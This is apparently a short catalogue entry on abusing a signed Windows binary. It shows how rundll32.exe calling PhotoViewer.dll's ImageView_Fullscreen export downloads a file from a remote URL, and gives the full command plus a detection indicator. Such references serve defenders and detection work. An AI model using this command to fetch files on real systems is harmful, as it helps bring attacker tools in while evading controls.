Download
File DownloadWindows
Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.
Use Download file from remote location.
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
- Evidence
- Upstream reference
- Environment
- Local host
- Context
- user
- Native
- Download
- Detection
IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument